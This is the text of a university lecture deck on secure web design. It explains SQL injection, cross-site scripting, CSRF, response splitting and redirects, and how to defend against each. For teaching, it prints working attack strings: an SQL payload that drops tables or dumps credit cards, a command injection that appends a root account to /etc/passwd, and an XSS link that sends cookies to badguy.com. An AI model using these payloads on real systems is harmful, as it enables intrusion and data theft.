6466840bafcd13bedf8045122dd7085f.ppt
- Количество слайдов: 68
Spring 2008 CS 155 Secure Web Site Design John Mitchell 1
Schematic web site architecture WS 1 Load Balancer WS 2 Firewall Application Firewall (WAF) App Servers DB WS 3 IDS Authorization Netegrity (CA) Oblix (Oracle) 2
Web application code Runs on web server or app server. n Takes input from web users (via web server) n Interacts with the database and 3 rd parties. n Prepares results for users (via web server) Examples: n Shopping carts, home banking, bill pay, tax prep, … n New code written for every web site. Written in: n C, PHP, Perl, Python, JSP, ASP, … n Often written with little consideration for security 3
Common vulnerabilities Sans Top 10 SQL Injection n Browser sends malicious input to server n Bad input checking leads to malicious SQL query XSS – Cross-site scripting n Bad web site sends innocent victim a script that steals information from an honest web site CSRF – Cross-site request forgery n Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site Other problems n HTTP response splitting, site redirects, … 4
SQL Injection with many slides from Neil Daswani 5
Dynamic Web Application Browser GET / HTTP/1. 0 HTTP/1. 1 200 OK Web server index. php Database server 6
PHP: Hypertext Preprocessor Server scripting language with C-like syntax Can intermingle static HTML and code <input value=<? php echo $myvalue; ? >> Can embed variables in double-quote strings $user = “world”; echo “Hello $user!”; or $user = “world”; echo “Hello”. $user. “!”; Form data in global arrays $_GET, $_POST, … 7
SQL Widely used database query language Fetch a set of records SELECT * FROM Person WHERE Username=‘grader’ Add data to the table INSERT INTO Person (Username, Zoobars) VALUES (‘grader’, 10) Modify data UPDATE Person SET Zoobars=42 WHERE Person. ID=5 Query syntax (mostly) independent of vendor 8
In context of project 2 … Sample PHP $recipient = $_POST[‘recipient’]; $sql = "SELECT Person. ID FROM Person WHERE Username='$recipient'"; $rs = $db->execute. Query($sql); Problem n What if ‘recipient’ is malicious string that changed the meaning of the query? 9
Basic picture: SQL Injection Victim Server rm fo licious t ma 1 pos 2 3 receive valuable data Attacker unintended query Victim SQL DB 10
Card. Systems Attack Card. Systems n n n credit card payment processing company SQL injection attack in June 2005 put of business The Attack n n n 263, 000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed 11
April 2008 SQL Vulnerabilities
Main steps in this attack Use Google to find sites using a particular ASP style vulnerable to SQL injection Use SQL injection on these sites to modify the page to include a link to a Chinese site nihaorr 1. com Don't visit that site yourself! The site (nihaorr 1. com) serves Javascript that exploits vulnerabilities in IE, Real. Player, QQ Instant Messenger Steps (1) and (2) are automated in a tool that can be configured to inject whatever you like into vulnerable sites There is some evidence that hackers may get paid for each visit to nihaorr 1. com 13
Part of the SQL attack string DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR select a. name, b. name from sysobjects a, syscolumns b where a. id=b. id and a. xtype='u' and (b. xtype=99 or b. xtype=35 or b. xtype=231 or b. xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar, ['+@C+']))+'‘ ''') FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor; DECLARE%20@S%20 NVARCHAR(4000); SET%20@S=CAST( %20 AS%20 NVARCHAR(4000)); EXEC(@S); -14
SQL Injection Examples Type 1 Attack Example Web Browser (Client) Enter Username & Password Web Server SELECT passwd FROM USERS WHERE uname IS ‘$username’ DB Attacker will modify
SQL Injection Examples 16
SQL Injection Examples 17
SQL Injection Examples Web Browser (Client) Enter Username & Password Web Server SELECT passwd FROM USERS WHERE uname IS ‘smith’ Normal Query DB
SQL Injection Examples Attacker Modifies Input 19
SQL Injection Examples Malicious Query Web Browser (Client) Enter Username & Password Web Server SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLE USERS; -- ‘ DB Eliminates all user accounts
What is SQL Injection? Input Validation Vulnerability n n untrusted user input in SQL query to back-end database without sanitizing the data Specific case of more general command injection n inserting untrusted input into a query or command Why Bad? n n supplied data can be misinterpreted as a command could alter the intended effect of command or query 21
SQL Injection Examples View pizza order history: <form method="post" action=". . . "> Month <select> <option name="month" value="1">Jan</option>. . . <option name="month" value="12">Dec</option> </select> Year <p> <input type=submit name=submit value=View> </form> Attacker can post form that is not generated by this page. 22
SQL Injection Examples Normal SQL Query Type 2 Attack SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 For order_month parameter, attacker could input 0 OR 1=1 Malicious Query WHERE condition is always true! Gives attacker access to other users’ private data! … WHERE userid=4123 AND order_month=0 OR 1=1 23
SQL Injection Examples All User Data Compromised 24
SQL Injection Examples A more damaging breach of user privacy: For order_month parameter, attacker could input 0 AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards Attacker is able to n Combine the results of two queries n Empty table from first query with the sensitive credit card info of all users from second query 25
SQL Injection Examples Credit Card Info Compromised 26
More Attacks • Create new users: ‘; INSERT INTO USERS (‘uname’, ’passwd’, ‘salt’) VALUES (‘hacker’, ’ 38 a 74 f’, 3234); • Password reset: ‘; UPDATE USERS SET email=hcker@root. org WHERE email=victim@yahoo. com
Second-Order SQL Injection: attack where data stored in database is later used to conduct SQL injection Example: this vulnerability could exist if string escaping is applied inconsistently Solution: Treat ALL parameters as dangerous UPDATE USERS SET passwd='cracked' WHERE uname='admin' --' attacker chooses username 'admin' -Strings not escaped! 28
Preventing SQL Injection Input validation n Filter w Apostrophes, semicolons, percent symbols, hyphens, underscores, … w Any character that has special meanings n Check the data type (e. g. , make sure it’s an integer) Whitelisting n Blacklisting chars doesn’t work w forget to filter out some characters w could prevent valid input (e. g. username O’Brien) n Allow only well-defined set of safe values w Set implicitly defined through regular expressions
Escaping Quotes For valid string inputs like username o’connor, use escape characters n n Ex: escape(o’connor) = o’’connor only works for string inputs 30
Prepared Statements Metacharacters (e. g. ‘) in queries provide distinction between data & control Most attacks: data interpreted as control / alters the semantics of a query/cmd Bind Variables: ? placeholders guaranteed to be data (not control) Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query 31
Prepared Statement: Example Prepared. Statement ps = db. prepare. Statement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=? "); ps. set. Int(1, session. get. Current. User. Id()); ps. set. Int(2, Integer. parse. Int(request. get. Paramenter("month"))); Result. Set res = ps. execute. Query(); Bind Variable: Data Placeholder • query parsed w/o parameters • bind variables are typed e. g. int, string, etc…*
Parameterized SQL Build SQL queries by properly escaping args: ′ ′ Example: Parameterized SQL: (ASP. NET 1. 1) n Ensures SQL arguments are properly escaped. Sql. Command cmd = new Sql. Command( "SELECT * FROM User. Table WHERE username = @User AND password = @Pwd", db. Connection); cmd. Parameters. Add("@User", Request[“user”] ); cmd. Parameters. Add("@Pwd", Request[“pwd”] ); cmd. Execute. Reader(); 33
Mitigating Impacts Prevent Schema & Information Leaks Limit Privileges (Defense-in-Depth) Encrypt Sensitive Data stored in Database Harden DB Server and Host OS Apply Input Validation 34
Other command injection Example: PHP server-side code for sending email $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) Attacker can post http: //yourdomain. com/mail. pl? email=hacker@hackerhome. net& subject=foo < /usr/passwd; ls OR http: //yourdomain. com/mail. pl? email=hacker@hackerhome. net&subject=foo; echo “evil: : 0: 0: root: /: /bin/sh">>/etc/passwd; ls
Cross Site Scripting (XSS)
Basic picture: Cross-site scripting visit 1 ite web s Attack Server ge us pa io malic ive 2 rece ata able d alu end v 5 s User Victim 4 3 echo click on l ink use r inp ut Server Victim 37
The setup User input is echoed into HTML response. Example: search field n http: //victim. com/search. php ? term = apple n search. php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <? php echo $_GET[term] ? > : . . . </BODY> </HTML> Is this exploitable? 38
Bad input Consider link: (properly URL encoded) http: //victim. com/search. php ? term = <script> window. open( “http: //badguy. com? cookie = ” + document. cookie ) </script> What if user clicks on this link? 1. Browser goes to victim. com/search. php 2. Victim. com returns <HTML> Results for <script> … </script> 3. Browser executes script: Sends badguy. com cookie for victim. com 39
So what? Why would user click on such a link? n Phishing email in webmail client (e. g. gmail). n Link in doubleclick banner ad … many ways to fool user into clicking What if badguy. com gets cookie for victim. com ? n Cookie can include session auth for victim. com w Or other data intended only for victim. com Violates same origin policy 40
Much worse … Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim. com n Control links on page n Control form fields (e. g. password field) on this page and linked pages. w Example: My. Space. com phishing attack injects password field that sends password to bad guy. Can infect other users: My. Space. com worm. 41
My. Space. com (Samy worm) Users can post HTML on their pages n My. Space. com ensures HTML contains no <script>, <body>, onclick, <a href=javascript: //> n … but can do Javascript within CSS tags: <div style=“background: url(‘javascript: alert(1)’)”> And can hide “javascript” as “javanscript” With careful javascript hacking: n n Samy’s worm: infects anyone who visits an infected My. Space page … and adds Samy as a friend. Samy had millions of friends within 24 hours. http: //namb. la/popular/tech. html 42
Defenses needed at server visit 1 ite web s Attack Server ge us pa io malic ive 2 rece ata able d alu end v 5 s User Victim 4 3 echo click on l ink use r inp ut Server Victim 43
Avoiding XSS bugs (PHP) Main problem: n Input checking is difficult --- many ways to inject scripts into HTML. Preprocess input from user before echoing it PHP: htmlspecialchars(string) & & " " ' ' < < > > n htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: < a href=' test' > Test< /a> 44
Avoiding XSS bugs (ASP. NET) ASP. NET 1. 1: n n Server. Html. Encode(string) w Similar to PHP htmlspecialchars validate. Request: (on by default) w Crashes page if finds <script> in POST data. w Looks for hardcoded list of patterns. w Can be disabled: w <%@ Page validate. Request=“false" %> 45
46
http. Only Cookies Browser (IE) GET … HTTP Header: Set-cookie: NAME=VALUE ; Http. Only Server • Cookie sent over HTTP(s), but not accessible to scripts • cannot be read via document. cookie • Helps prevent cookie theft via XSS … but does not stop most other risks of XSS bugs. 47
Cross Site Request Forgery
Basic picture Server Victim n 1 4 User Victim sessio ish establ est requ orged f send 2 v isit s erve 3 r rece ive m alici ous pag e Q: how long do you stay logged on to Gmail? Attack Server 49
Recall: session using cookies Browser Server POST/login. cg i icator hent cookie: aut Set- GET… Cookie: aut h enticator response
Cross Site Request Forgery (XSRF) Example: n User logs in to bank. com. Does not sign off. n Session cookie remains in browser state Then user visits another site containing: <form name=F action=http: //bank. com/Bill. Pay. php> <input name=recipient value=badguy> … <script> document. F. submit(); </script> n Browser sends user auth cookie with request n w Transaction will be fulfilled Problem: n cookie auth is insufficient when side effects can occur
Another example: Home Routers [SRJ’ 07] Fact: n 50% of home users use a broadband router with a default or no password Drive-by Pharming attack: User visits malicious site n Java. Script at site scans home network looking for broadband router: • SOP allows “send only” messages • Detect success using onerror: w <IMG SRC=192. 168. 0. 1 on. Error = do() > n Once found, login to router and change DNS server Problem: “send-only” access is sufficient to reprogram router 52
CSRF Defenses Secret token n Place nonce in page/form from honest site Check nonce in POST w Confirm part of ongoing session with server Token in POST can be HMAC of session ID in cookie Check referer (sic) header n n Referer header is provided by browser, not script Unfortunately, often filtered for privacy reasons Use custom headers via XMLHttp. Request n This requires global change in server apps 53
Login CSRF
Referer header filtering
CSRF Recommendations Login CSRF n n Strict Referer validation Login forms typically submit over HTTPS, not blocked HTTPS sites, such as banking sites n Use strict Referer validation to protect against CSRF Other n Use Ruby-on-Rails or other framework that implements secret token method correctly Future n n Alternative to Referer with fewer privacy problems Send only on POST, send only necessary data 56
More server-side problems HTTP Response Splitting Site Redirects
HTTP Response Splitting: The setup User input echoed in HTTP header. Example: Language redirect page (JSP) <% response. redirect(“/by_lang. jsp? lang=” + request. get. Parameter(“lang”) ) %> Browser sends http: //. . . /by_lang. jsp ? lang=french Server HTTP Response: HTTP/1. 1 302 (redirect) Date: … Location: /by_lang. jsp ? lang=french Is this exploitable? 58
Bad input Suppose browser sends: http: //. . . /by_lang. jsp ? lang= “ french n Content-length: 0 rn HTTP/1. 1 200 OK Spoofed page ” (URL encoded) 59
Bad input HTTP response from server looks like: HTTP/1. 1 302 (redirect) Date: … Location: /by_lang. jsp ? lang= french Content-length: 0 lang HTTP/1. 1 200 OK Content-length: 217 Spoofed page 60
So what? What just happened: n Attacker submitted bad URL to victim. com w URL contained spoofed page in it n Got back spoofed page So what? n Cache servers along path now store spoof of victim. com n Will fool any user using same cache server Defense: don’t do that (use URL encoding…) 61
Redirects EZShopper. com shopping cart (10/2004): http: //…/cgi-bin/ loadpage. cgi ? page=url n Redirects browser to url Redirects are common on many sites n Used to track when user clicks on external link n EZShopper uses redirect to add HTTP headers Problem: phishing http: //victim. com/cgi-bin/loadpage ? page=phisher. com n Link to victim. com puts user at phisher. com Local redirects should ensure target URL is local 62
Sample phishing email
How does this lead to spoof page? Link displayed n https: //www. start. earthlink. net/track? billing. asp Actual link in html email n source: https: //start. earthlink. net/track? id=101 fe 8439 8 a 866372 f 999 c 983 d 8973 e 77438 a 993847183 bca 43 d 7 ad 47 e 99219 a 907871 c 773400 b 8328898787762 c&url= http: //202. 69. 30/snkee/billing. htm? session_id=84 95. . . Website resolved to n http: //202. 69. 30/snkee/billing. htm? session_id=84 95. . .
Additional solutions
Web Application Firewalls Help prevent some attacks we discuss today: • Cross site scripting • SQL Injection • Form field tampering • Cookie poisoning Sample products: Imperva Kavado Interdo F 5 Traffic. Shield Citrix Net. Scaler Check. Point Web Intel 66
Code checking Blackbox security testing services: n Whitehatsec. com Automated blackbox testing tools: n Cenzic, Hailstorm n Spidynamic, Web. Inspect n e. Eye, Retina Web application hardening tools: n Web. SSARI [WWW’ 04] : based on information flow n Nguyen-Tuong [IFIP’ 05] : based on tainting 67
Summary SQL Injection n Bad input checking allows malicious SQL query n Known defenses address problem effectively XSS – Cross-site scripting n Problem stems from echoing untrusted input n Difficult to prevent; requires care, testing, tools, … CSRF – Cross-site request forgery n Forged request leveraging ongoing session n Can be prevented (if XSS problems fixed) Other server vulnerabilities n Increasing knowledge embedded in frameworks, tools, application development recommendations
6466840bafcd13bedf8045122dd7085f.ppt